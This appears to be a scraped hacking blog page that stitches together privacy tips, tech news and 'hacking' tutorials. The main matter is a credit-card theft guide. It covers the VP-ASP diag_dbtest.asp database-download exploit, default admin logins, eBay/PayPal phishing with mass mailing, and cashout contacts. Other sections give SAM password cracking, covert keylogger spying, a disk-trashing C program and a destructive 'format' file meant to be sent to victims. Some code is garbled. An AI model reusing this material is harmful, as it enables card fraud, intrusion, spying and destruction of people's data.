Online privacy protection is the most basic and essential need of an Internet user. However, since most of our work is now dependent on online activities, there is a possibility that our personal information might get hacked by some unethical elements. Therefore, it is very important to find out the different ways to achieve privacy on the Internet.

We all perform various activities on the Internet like banking, shopping, social networking, chatting, and many more that require personal information protection. While performing these activities, your personal information and location is being traced as some of the sites request you to register with your email address and ask you to create a profile with which to provide your personal information. If you are a member of any social networking site, posting a comment or participating in the forums can leave some trails of your location as well.

Why do you need personal information privacy though and what should be kept in mind while browsing the Internet? Sharing some of your personal information may lead to your online reputation being tarnished and monetary losses as hackers can take advantages of your profile or information without your knowledge.

You can help protect your privacy and browse the Internet more safely by keeping the following tips in mind:

1. Do not disclose too much of your personal information. Security of your identity starts with you. Social networking is becoming very popular nowadays but you should keep in mind not to disclose much information about yourself like your exact address and phone number. Along with it, you should not post regular updates about your upcoming travels or monetary information like credit card information since it can aid criminals in committing theft, fraud and other crimes at your expense.

2. If you are sharing your information, you should first inquire about the person with whom you are sharing it. Take precautions while becoming friendly to any unknown person and never accept a friend request from strangers. Along with that, you should not provide your private information to any new or unknown site.

3. Manage your cookies while surfing. Since cookies allow you to store information while using websites, they save your username and password every time you type it while visiting any website. In spite of that, it can also help the website owner to track who is visiting the website, the date and time of the visit and more. Sometimes, it may harm your privacy if any online criminal is tracking it. Therefore, you can delete cookies in your computer to protect your privacy. If you using windows family OS use CClearner software for clean your cache and cookies befor using internet browser .

4. some of good add-ons are available for firefox BetterPrivacy , Adblock Plus, Wot. One New Add-on FB Phishing Protector protect you from Phishing , XSS injection attacks.

By following these tips, you can more easily manage your privacy protection. Along with these, you can also opt for online identity management tools to better protect your privacy and identity while browsing the Net. These tools can help you by sending regular alerts if too much personal information is available about you online or if someone is misusing your personal information. Search the Web to get the best online identity management tool.

14 Year Old Hacker Hired By Microsoft After Doing Phishing via Call of Duty Server


These are the kinds of things dreams are made of, a 14 year old hacker on Call of Duty was just recruited by Microsoft. You heard me right, Microsoft.
This is exactly what Sony should have done with George Hotz – given him a job as a security specialist, instead of sueing him in court and getting its PlayStation Network and other Sony websites hacked day in and out.
Microsoft is reported to be working with the 14-year-old Irish hacker who managed to stir up a little trouble with his Call of Duty: Modern Warfare 2 phishing scam alert. According to the managing director of Microsoft of Ireland, the company is helping the hacker “develop his talent for legitimate purposes.”

Congrats to that young hacker, whose name was not disclosed.While the new prospect for the Dublin kid is not meant to be an example for other hackers to follow, companies do have to realize that there are many talented people among hackers.
Gud luck

How to Hack a Credit Card

Hi there. This is my first serious "black hat hacking" post of credit cards hacking. Here will be explained all methods used to hack credit cards and bank accounts with lots of $$ it. Now I'm sure most of you think that this is fake or scam, but i want to just tell u this is real and the only working method (in my opinion) to hack a credit card and make your wish come true......


Note: Hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial. This post is for educational purposes only.
This tutorial is divided in two parts.

1. Introduction into Credit Cards
2. Credit card Hacking

Lets start with some easy terms.

What is credit card ?

Credit cards are of two types:

Debit Card
Credit Card

1. Debit means u have a sum of amount in it and u can use them.
2. Credit means u have a credit line limit like of $10000 and u can use them and by the end of month pay it to bank.

To use a credit card on internet u just not need cc number and expiry but u need many info like :

* First name
* Last name
* Address
* City
* State
* Zip
* Country
* Phone
* CC number
* Expiry
CVV2 ( this is 3digit security code on backside after signature panel )

If you get that info you can use that to buy any thing on internet, like software license, porn site membership, proxy membership, or any thing (online services usually, like webhosting, domains).

If u want to make money $ through hacking then you need to be very lucky... you need to have a exact bank and bin to cash that credit card through ATM machines.

Let me explain how ?

First study some simple terms.

BINS = first 6 digit of every credit card is called " BIN " (for example cc number is : 4121638430101157 then its bin is " 412163 "), i hope this is easy to understand.

Now the question is how to make money through credit cards. Its strange..., well you cant do that, but there is specific persons in world who can do that. They call them selves " cashiers ". You can take some time to find a reliable cashiers.

Now the question is every bank credit cards are cashable and every bin is cashable? Like citibank, bank of america , mbna .. are all banks are cashables ? Well answer is " NO ". If u know some thing, a little thing about banking system, have u ever heard what is ATM machines? Where u withdraw ur cash by putting ur card in.
Every bank don't have ATM, every bank don't support ATM machines cashout. Only few banks support with their few bins (as u know bin is first 6 digit of any credit / debit card number), for suppose bank of america. That bank not have only 1 bin, that bank is assigned like, 412345 412370 are ur bins u can make credit cards on them. So bank divide the country citi location wise, like from 412345 - 412360 is for americans, after that for outsiders and like this. I hope u understand. So all bins of the same bank are even not cashable, like for suppose they support ATM in New York and not in California, so like the bins of California of same bank will be uncashable. So always make sure that the bins and banks are 100% cashable in market by many cashiers.

Be sure cashiers are legit, because many cashiers r there which take your credit card and rip u off and don't send your 50% share back.
You can also find some cashiers on mIRC *( /server irc.unixirc.net:6667 ) channel : #cashout, #ccpower

Well, check the website where u have list of bins and banks mostly 101% cashable. If u get the credit card of the same bank with same bin, then u can cashout otherwise not . Remember for using credit card on internet u don't need PIN ( 4 words password which u enter in ATM Machine ), but for cashout u need. You can get pins only by 2nd method of hacking which i still not post but i will. First method of sql injection and shopadmin hacking don't provide with pins, it only give cc numb cvv2 and other info which usually need for shopping not for cashing.

Credit Card Hacking

CC (Credit Cards) can be hacked by two ways:

* Credit Card Scams ( usually used for earning money , some times for shopping )
* Credit Card Shopadmin Hacking ( just for fun, knowledge, shopping on internet )

1. Shopadmin Hacking

This method is used for testing the knowledge or for getting the credit card for shopping on internet, or for fun, or any way but not for cashing ( because this method don't give PIN - 4 digit passcode ) only gives cc numb , cvv2 and other basic info.

Shopadmins are of different companies, like: VP-ASP , X CART, etc. This tutorial is for hacking VP-ASP SHOP.

I hope u seen whenever u try to buy some thing on internet with cc, they show u a well programmed form, very secure. They are carts, like vp-asp xcarts. Specific sites are not hacked, but carts are hacked.

Below I'm posting tutorial to hack VP ASP cart. Now every site which use that cart can be hacked, and through their *mdb file u can get their clients 'credit card details', and also login name and password of their admin area, and all other info of clients and comapny secrets.

Lets start:

Type: VP-ASP Shopping Cart
Version: 5.00

How to find VP-ASP 5.00 sites?


Finding VP-ASP 5.00 sites is so simple...

1. Go to google.com and type: VP-ASP Shopping Cart 5.00
2. You will find many websites with VP-ASP 5.00 cart software installed

Now let's go to the exploit..

The page will be like this: ****://***.victim.com/shop/shopdisplaycategories.asp
The exploit is: diag_dbtest.asp
Now you need to do this: ****://***.victim.com/shop/diag_dbtest.asp

A page will appear contain those:

xDatabase
shopping140
xDblocation
resx
xdatabasetypexEmailxEmail NamexEmailSubjectxEmailSy stemxEmailTypexOrdernumbe r

Example:

The most important thing here is xDatabase
xDatabase: shopping140

Ok, now the URL will be like this: ****://***.victim.com/shop/shopping140.mdb

If you didn't download the Database, try this while there is dblocation:
xDblocation
resx
the url will be: ****://***.victim.com/shop/resx/shopping140.mdb

If u see the error message you have to try this :
****://***.victim.com/shop/shopping500.mdb

Download the mdb file and you should be able to open it with any mdb file viewer, you should be able to find one at download.com, or use MS Office Access.
Inside you should be able to find credit card information, and you should even be able to find the admin username and password for the website.

The admin login page is usually located here: ****://***.victim.com/shop/shopadmin.asp

If you cannot find the admin username and password in the mdb file or you can but it is incorrect, or you cannot find the mdb file at all, then try to find the admin login page and enter the default passwords which are:
Username: admin
password: admin
OR
Username: vpasp
password: vpasp


2. Hacking Through Scams


This method is usually used to hack for earning money. What happens in this method is you create a clone page.

Target: its basically eBay.com or paypal.com for general credit cards, or if u want to target any specific cashable bank like regionbank.com then u have to create a clone page for that bank.

What is eBay.com?


Its a shopping site world wide which is used by many of billion people which use their credit cards on ebay. What you do make a similar page same as eBay and upload it on some hosting which don't have any law restrictions, try to find hosting in Europe they will make your scam up for long time, and email the users of eBay.

How to get the emails of their users?


Go to google.com and type "Email Harvestor" or any Email Spider and search for eBay Buyers and eBay Sellers and u will get long list. That list is not accurate but out of 1000 atleast 1 email would be valid. Atleast you will get some time.

Well u create a clone page of ebay, and mail the list u create from spider with message, like "Your account has been hacked" or any reason that looks professional, and ask them to visit the link below and enter your info billing, and the scam page have programming when they enter their info it comes directly to your email.
In the form page u have PIN required so u also get the PIN number through which u can cash through ATM ..

Now if u run ebay scam or paypal scam, its up to your luck who's your victim. A client of bank of america or of citibank or of region, its about luck, maybe u get cashable, may be u don't its just luck, nothing else.

Search on google to download a scam site and study it !

After you create your scam site, just find some email harvestor or spider from internet (download good one at Bulk Email Software Superstore - Email Marketing Internet Advertising) and create a good email list.

And you need to find a mailer (mass sending mailer) which send mass - emails to all emails with the message of updating their account on ur scam page ). In from to, use email eBay@reply3.ebay.com and in subject use : eBay - Update Your eBay Account and in Name use eBay

Some Instructions:

1. Make sure your hosting remains up or the link in the email u will send, and when your victim emails visit it, it will show page cannot be displayed, and your plan will be failed.
2. Hardest point is to find hosting which remains up in scam. even i don't find it easily, its very very hard part.
3. Maybe u have contacts with someone who own hosting company and co locations or dedicated he can hide your scam in some of dedicated without restrictions.
4. Finding a good email list (good means = actually users)
5. Your mass mailing software land the emails in inbox of users.


That's all pals. Hope you will find this tutorial useful. And remember, hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial.

CyanogenMod 7.1 brings support for Xperias and 20 other handsets


CyanogenMod-7.1 Released!


It’s been far too long since our last official release, but I’m happy to present CyanogenMod-7.1! I apologize for the long delay, and I hope to speed up our release process in the future. We originally planned to release this last weekend at the Big Android BBQ but some issues with our automated build system held it back.

You’ll find many new featuresand support for building on 68 devices! Upgrading from any previous CM-7 release or nightly build should be smooth and no wipe should be required.

New devices since 7.0 included in today’s release are:

* HTC Desire S
* HTC Incredible S
* HTC Incredible 2
* LG Optimus 2X and T-Mobile G2x
* Motorola Backflip (Motus)
* Motorola Cliq / Cliq XT
* Motorola Defy
* Motorola Droid 2
* Motorola Droid X
* Samsung Captivate
* Samsung Fascinate
* Samsung Mesmerize
* Samsung Showcase
* Samsung Vibrant
* Samsung Galaxy S
* Samsung Galaxy S2 (multiple carriers)
* Sony Ericsson Xperia X8
* Sony Ericsson Xperia Mini
* Sony Ericsson Xperia Mini Pro
* Sony Ericsson Xperia Neo
* Sony Ericsson Xperia Play
* Sony Ericsson Xperia Ray
* Sony Ericsson Xperia Arc
* ZTE V9

There are many devices still in beta status (Pyramid, Doubleshot, Shooter, HP Touchpad, Optimus 3D, several more) that we will be promoting to release or release-candidates in the next few weeks when the code is merged to our main branch.

The preferred method of installation is via ROM Manager, but you can directly download the latest release from our mirror network. Head over to our forums to discuss the release or get help. Installation instructions and other information can be found on our wiki.

As we continue to grow and improve CM, we are starting to see support from the industry grow- something that was unheard of previously. Recently, Sony Ericsson assisted our developers by providing over 20 devices, technical assistance, and compatible hardware drivers. CM-7.1 now has support for all recent SEMC devices thanks to this effort. Various other vendors have reached out to us, but we understand that it is still somewhat of a difficult situation. We will soon be providing a porting guide and some information on how vendors can get involved with the project and how/why it will benefit them.

Thanks again for the support, and for making CyanogenMod the #1 community Android distribution. We’ll be following up with a few minor releases and soon it will be time to start work on CM9!

Nod32 Eset Website Hacked


Nod32 and Eset Thailand Websites hacked by Turkey Cyber Army . ESET NOD32 Antivirus, commonly known as NOD32, is an antivirus software package made by the Slovak company ESET. ESET NOD32 Antivirus is sold in two editions, Home Edition and Business Edition. The Business Edition packages add ESET Remote Administrator allowing for server deployment and management, mirroring of threat signature database updates and the ability to install on Microsoft Windows Server operating systems.You Can see the Defaced websites Mirror : Nod32 & Eset .

Desktop Hacking Tutorial (Win Xp Hacking Tutorial) For Newbies

AM GOING TO SHOW YHU TIPS AND TRICKS OF DESKTOP[WIN XP HACKS TIPS AND TRICKS]
2o Tips 4 increasing XP performance.

1] Your Pc Must have 256MB RAM , 512 MB Cache , Intel Pentium 4 Processor, 40 GB

HDD. These are the minimum requirements.

2] If you see a ‘virtual memory low’ message then increase its virtual memory. To

increase virtual memory,

Go to My Computer->Properties->Advanced->Performance

Settings->Advanced->Virtual Memory->Change->Select the appropriate

drive->Custom size->set appropriate level(our it is 600(min.) & 700(max.)->Ok.

3] Increase ‘Visual Performance’. Go to My

Computer->Properties->Advanced->Performance Settings->Visual

Settings->Custom->Select only the following options.

a)Slide taskbar buttons.

b)Smooth edges of screen fonts.

c)Smooth-scroll list boxes.

d)Use a background image for each folder type.

e)Use visual style on windows and buttons.

4] Don’t keep unwanted/extra fonts. To remove extra fonts, Go to

Start->Settings->Control Panel->Fonts.

5] Your Desktop Wallpaper & Screensaver consume a large amount of disk space.

Select the ‘None’ option for both wallpapers & Screensavers.

6] Avoid keeping DEMO Games.

7] Uninstall the unwanted Softwares.

8] Use Registry Cleaner to keep your registry clean(without errors).try ccleaner too.

9] Try to keep Music and pictures files in the folder specified by windows itself.

10]Use Hibernating Option for Quick windows start. To active Hibernating follow the

following steps.

Desktop->Properties->Screensaver->Power->Hibernating->Enable

Hibernating->Ok.

11] Keep your Desktop clean with unwanted icons.

12] Use Intel Application Accelerator to speed up your disk access,

13] Memory management (at least 512MB RAM Required). This allow XP to keep data

in Memory instead of paging section of RAM.

Go

to->Start->Run->regedit->HKEY_LOCAL_MACHINE->SYSTEM->CurrentControlSet->Control->Session

Manager->Memory Management->Double click

it->DisablePageingExecutive->Double Clik it->Set value to 1.

14] Disable Yahoo Messenger, Google Talk, and other unwanted programs from

startup. (You can use registry editior to do this.). Because they do not appear in

normal Startup Option.

15] Disable indexing files service (only if you do not use search option regularly). To

do this follow the following steps.

Go to My Computer->Select the drive for which you want to disable the indexing

service->Properties->Unselect ‘Allow Indexing Service’->Ok.

16] For Windows XP, You must use NTFS partition. FAT partition is less supportive

for Windows XP.

17] In BIOS, Select first booting device as your HDD.as user choice

18] Setting Priority High for a particular program.

Open Task Manager->Processes->Select the desired Program->Right Click->Set

Priority->High->Ok.

This Priority set if for current session. Once you restart your system then its priority

will again be Normal.

19] Keep deleting your Temporary Internet Files in regular intervals.

Go to Windows Drive (c: or d:)->Select the User->Local Settings->Temporary

Internet Files or go to run and type %temp%nd delete all temporary files which

showing

20] Empty your browser’s cache in regular intervals.

Desktop hacking - Cracking Windows Logon Password.(Hacking SAM file) Windows NT/2000/XP/2003

SAM File – Holds the user names and password hashes for every account on the local

machine, or domain if it is a domain controller.

-What are password Hashes? Actually when we enter password in Windows Logon

Tab, Windows encryptsour password using an encryption scheme that turns our

password into something that looks like this: 65464564s1d4d2c9a56s42166d55se

SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config ->

SAM. SAM file can be cracked by sing a simple freeware software “SAMInside”.

Troubleshooting : While copying SAM file it shows an error of “Access Denied” or “File

in Use”. Actually copying of SAM file is restricted by Windows. There are many

alternatives to copy SAM file. [1] You can boot your system by a Live Linux CD such

as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be

easily copied.

Desktop hacking - Keylogger.
If you want to know what other users are typing on your machine, this heavy

weaponry addition to your Spy Arsenal will allow you to know everything! Simply

install Family Key Logger, set the ‘Start in hidden mode’ and ‘Remove from tasks list’

options and you are ready to go. The program will reside in memory while being

absolutely invisible to everyone except you. You will only have to press the Unhide

key combination on the keyboard to see what your kids or your wife or your

employees were typing.

And remember:

You have the right to know!

Source: http://www.spyarsenal.com/

Desktop hacking - Multiple Yahoo Messenger / Yahoo Pal.

Yahoo! Pal is an invisible program, it will automatically attach to running Yahoo!

Messenger and new Yahoo! Messengers you run after Yahoo! Pal, and add menu bar

to the Yahoo! Messenger windows. You can also quit it by clicking its menu. ∙ Allow

multiple accounts on the same computer. ∙ Automatically reply when you are away. .

Send a random quote to your friend. ∙ Hotkey to hide Yahoo! Messengers windows.

CLICK HERE TO DOWNLOAD

Desktop hacking – Multiple Google Talk.


Now it’s turn to use multiple google talk. Previously we covered that how to run

multiple Yahoo messenger using Yahoo Pal!. Well for google talk, you don’t have to

download any software. Just follow the following simple steps.

1) Create a Shortcut on ur Desktop.

2)In the field ‘type the location of the item’ paste the following source… c:\program

files\google\google talk\googletalk.exe” /nomutex

3)If this loction doesn’t work, then locate manually by clicking on browse

option.Then go to c:-> program file ->google-> google talk->googletalk.exe and then

paste /nomutex in the end of manually located source. Finished. Now you can run

multiple Google Talk.

Desktop hacking - BIOS Passwords Hacks.

To perform this hack you will need:

A #1 or #2 Phillips-head screwdriver, or (less likely) a T-15 TORX driver or a 1/4″

hex nutdriver, to open the case

Needle-nosed pliers if you are working with jumpers

A small flashlight or headlamp

With tools at hand, perform the following steps:

Turn the PC off (this means a total shutdown, not merely standby or hibernate mode)

and disconnect the AC power cord.

Remove the cover from your system (this step may require tools, undoing a

thumbscrew, or flipping a latch or two).

Refer to the user manual for the motherboard to find out how to “reset CMOS”

memory. You may also find a label for specific jumper or switch settings marked on

the system board.

Change the switch setting or jumper position to a specific position or remove the

jumper entirely as prescribed in the manual to clear or reset the CMOS memory.

Wait 20-30 seconds for the memory to clear out from lack of power.

After 20-30 seconds put the switch or jumper the way it was before for normal use.

Reconnect the power cord and start up the system to see if the settings have

changed to defaults.

Shut the PC down, disconnect the power cord, replace the cover, reconnect the

power, and power up the PC.

Enter the BIOS setup program to configure the system as needed. This may include

setting the date and time, selecting disk drive parameters, and selecting which

devices the system uses to boot up with first.

If your system does not have a “reset CMOS” jumper or switch , the only option is to

locate and remove the coin-style battery cell (or on some very old PCs, the battery

pack), as shown in , that provides the power to the CMOS memory.

Desktop hacking – Create BAD sectors on HDD. (Dangerous Hack)

This program will create BAD Sectors on HDD. (Use at your own risk) #include



#include

#include

#include

#include

#include

#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;

int x;

int fd[5];

signal(SIGINT, handle_sig);

signal(SIGHUP, handle_sig);

signal(SIGQUIT, handle_sig);

signal(SIGABRT, handle_sig);

signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf(“sekt0r: trashing hard disk with bad sectors!\n”);

while(1) {

fd[1] = open(“/tmp/.test”, O_WRONLY|O_CREAT, 511);

fd[2] = open(“/tmp/.test1″, O_WRONLY|O_CREAT, 511);

fd[3] = open(“/tmp/.test2″, O_WRONLY|O_CREAT, 511);

fd[4] = open(“/tmp/.test3″, O_WRONLY|O_CREAT, 511);

fd[5] = open(“/tmp/.test4″, O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) { write(fd[x], buf, HDSIZE); lseek(fd[x], 0, SEEK_SET); close(fd[x]); } /* end for() loop. */ } /* end while() loop. */ } /* end main(). */ void handle_sig() { /* Reset signal handlers. */ signal(SIGINT, handle_sig); signal(SIGHUP, handle_sig); signal(SIGQUIT, handle_sig); signal(SIGABRT, handle_sig); signal(SIGTERM, handle_sig); printf(“sekt0r: cannot exit – trashing hard disk with bad sectors!\n”); return; /* go back to creating bad sectors. */ }

Desktop hacking
- Change DOS Colour.

SYNTAX Sets the default console foreground and background colors.

COLOR [attr]

attr Specifies color attribute of console output

Color attributes are specified by TWO hex digits — the first corresponds to the

background; the second the foreground. Each digit can be any of the below values.

0 = Black 8 = Gray 1 = Blue 9 = Light Blue 2 = Green A = Light Green 3 = Aqua B =

Light Aqua 4 = Red C = Light Red 5 = Purple D = Light Purple 6 = Yellow E = Light

Yellow 7 = White F = Bright White If no argument is given, this command restores the

color to what it was when CMD.EXE started. This value either comes from the current

console window, the /T command line switch or from the Default Color registry value.

The COLOR command sets ERROR LEVEL to 1 if an attempt is made to execute the

COLOR command with a foreground and background color that are the same.

EXAMPLE


Color 2A = Creates a green background with light bright green text, similar to many of

the FTP, telnet, and old BBS console screens.

Valid for a session only.

Desktop hacking - Speed Up XP Booting.

Start Registry Editor (Regedit.exe).

Locate the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Control\Session

Manager\MemoryManagement\Prefetch Parameters


Make sure you backup the keys by exporting them to a .reg file.

On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).

Close the registry editor.

Restart your computer.

Desktop hacking –
Using Your Command Prompt.

Type netstat -a Display all connections and listening ports, netstat -b Display the

executable involved in creating each connection or listening port. In some

well-known executables host multiple independent components, and in these cases

the sequence of components involved in creating the connection or listening port is

displayed. In this case the executable name is in [ ] at the bottom, on top is the

component it called, and so forth until TCP/IP was reached. Note that this option can

be time-consuming and will fail unless you have sufficient permissions. netstat -e

Displays Ethernet statistics. This may be combined with the -s option. netstat -n

Displays addresses and port numbers in numerical form. netstat -o Displays the

owning process ID associated with each connection. netstat -p proto Shows

connections for the protocol specified by proto; proto may be any of : TCP, UDP,

TCPv6, or UDPv6. If used with -s option to display per-protocol statistics, proto may

be any of: IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, or UDPv6 netstat -r Displays

the routing table. netstat -s Displays per-protocol statistics. netstat -v When used in

conjunction with -b, will display sequence of components involved in creating the

connection or listening port for all executables.

Desktop hacking - Change Text on XP Start button.

Now that the modified explorer.exe has been created it’s necessary to modify the

registry so the file will be recognized when the user logs on to the system. If you don’t

know how to access the registry I’m not sure this article is for you, but just in case it’s

a temporary memory lapse, go to Start (soon to be something else) Run and type

regedit in the Open: field. Navigate to

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\

Winlogon

In the right pane, double click the Shell entry to open the Edit String dialog box. In

Value data: line, enter the name that was used to save the modified explorer.exe file.

Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the

entire system if that’s your preference. If all went as planned you should see

your new

Start button with the revised text.

Desktop hacking – Disable or Remove Shutdown.

It is Possible to Remove Shut Down option from Start menu. Just follow the following

steps. Start->Run->gpedit.msc->User Configuration->Administrative

Templates->Start Menu &Taskbar->Remove Shutdown on Start Menu.->Enable. Its

Done!

Desktop hacking - Format HDD using Notepad.

Copy & Paste the following code in Notepad.

0100101100011111001001010101010101000 0011111100000 Save As

“format.exe” or any name u want (but with extension.exe) Now you can send this .exe

file to people to format their HDD It can fail to format your HDD while running

WINDOWS.

Format c:\ /Q/X — this will format your drive c:\

011001100110111101110010011011010110000 10111010000

100000011000110011101001011100

0010000000101111010100010010111101011000 Format d:\ /Q/X — this will

format your drive d:\ 011001100110111101110010011011010110000

10111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

Format a:\ /Q/X — this will format your drive a:\

0110011001101111011100100110110101100 0010111010000

100000011000010011101001011100

0010000000101111010100010010111101011000 del /F/S/Q c:\boot.ini — this

will STOP your computer from booting.

011001000110010101101100001000000010 11110100011000

101111010100110010111101010001

001000000110001100111010010111000110 00100110111101

101111011101000010111001101001 0110111001101001

Desktop hacking - how to fix blue screen error in windows xp

Blue screen crash will display all of your pending and an error screen that suddenly

come to light that informs you that your screen is frozen. In addition, some errors

DLL will also appear and ask if you recently added any new hardware or programs on

your computer.

When this incident occurs, they have gone mad, especially if you have not saved or

finish something you’re working. Of course, you have to do your job again from the

beginning. You would be really upset and angry, no? So what can you do to fix blue

screen error like this?

The easiest and fastest way to solve this problem is to run a registry cleaner software.

And if you’ve decided to let a technician fix your computer for you, stop there, you

do not want to pay for something you can fix yourself, right?

Also, if you want to ask about any technician may be able to resolve the accident,

which will undoubtedly tell you that it is a very complex matter and therefore should

be treated by a professional like him. If the technician is not to say there will be no

business left for him.

But in reality, what is going to do is just run a registry cleaner in the drive and then

asks for the payment of reparations and the software used. Furthermore, unloading,

installation and repair of the blue screen error using a software is not very difficult to

do and that saves time and, well, why would you pay someone else just to make

something simple for you?

Here are some things you can do to fix and solve your blue screen crash. This is

especially useful if you’re not familiar with the technical team and just want quick and

simple solutions.

1. Restart your computer

Sometimes the blue screen comes out only once and then not again for a second time. In this case, a simple restart is just what you need to resolve the blue screen crash.
On the other hand, if the problem is more regular, you may have to deal with other things.

2. Replace your random access memory (RAM)


RAM is a hardware that is permanently installed inside the computer’s motherboard. It is a rectangular piece that holds the information. This is where the CPU gets the instructions. And once this equipment is not functioning normally, without doubt, the computer crash in the blue screen. And so, the replacement of the RAM can be a solution.

3. Run a registry cleaner


A registry cleaner can eliminate errors in your record. This record stores all information about the software, drivers, applications and games that are installed on your computer. And in time, it can get bad, because some obsolete entries are not deleted and can lead to what they call the “blue screen of death.”

Fix Blue Screen of Death Error is easy to do with registry cleaner. If you Scan Your Computer it will detect all the errors in your registry and safely remove them.

4. Restart yhur computer again


Now restart again and press continuously F8 and now press on last known

configuration setting and keep it up . If this error again occur then reinstall ur

windows .

Enjoy hacking